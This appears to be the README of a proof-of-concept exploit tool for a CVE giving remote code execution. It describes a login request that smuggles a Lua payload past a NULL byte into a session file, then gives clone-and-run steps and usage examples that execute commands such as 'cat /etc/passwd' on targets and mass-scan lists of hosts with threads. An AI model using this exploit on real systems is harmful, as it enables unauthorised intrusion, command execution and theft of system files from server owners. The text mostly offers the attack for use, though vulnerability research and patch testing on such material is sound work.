/ __ \|__  /  | / / | / / __ \/  |/  // _/

1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. Server authenticates "anonymous" (truncated at NULL)
   but writes full payload into session file → returns UID cookie

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   Server loads session file → executes injected Lua → RCE

git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

python3 exploit.py -u http://TARGET

python3 exploit.py -u http://TARGET -c 'id'

python3 exploit.py -f targets.txt -o vulnerable.txt -t 8

usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           Single target URL (e.g. http://192.168.134.130)
  -f, --file FILE         File containing target URLs (one per line, # comments allowed)

exploit options:
  -c, --command COMMAND   Command to execute on the remote server (enables verbose output)
  -U, --username USERNAME Username for the exploit payload (default: anonymous)
  -P, --password PASSWORD Password for the exploit payload (default: empty)

output:
  -v, --verbose           Enable verbose / debug logging
  -o, --output OUTPUT     Save vulnerable URLs to this file
  -l, --log-file LOG_FILE Write detailed log to this file

network:
  -t, --threads THREADS   Concurrent threads for multi-target scans (default: 1)
  --timeout TIMEOUT       HTTP request timeout in seconds (default: 15)
  --retries RETRIES       Number of retries on connection failure (default: 2)
  --no-verify             Disable SSL certificate verification

# Check a single target
python3 exploit.py -u http://192.168.1.10

# Run 'whoami' and see full output
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# Scan a list with 8 threads, log everything to a file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt

# Use custom credentials with SSL verification disabled
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# Verbose mode for debugging
python3 exploit.py -u http://192.168.1.10 -v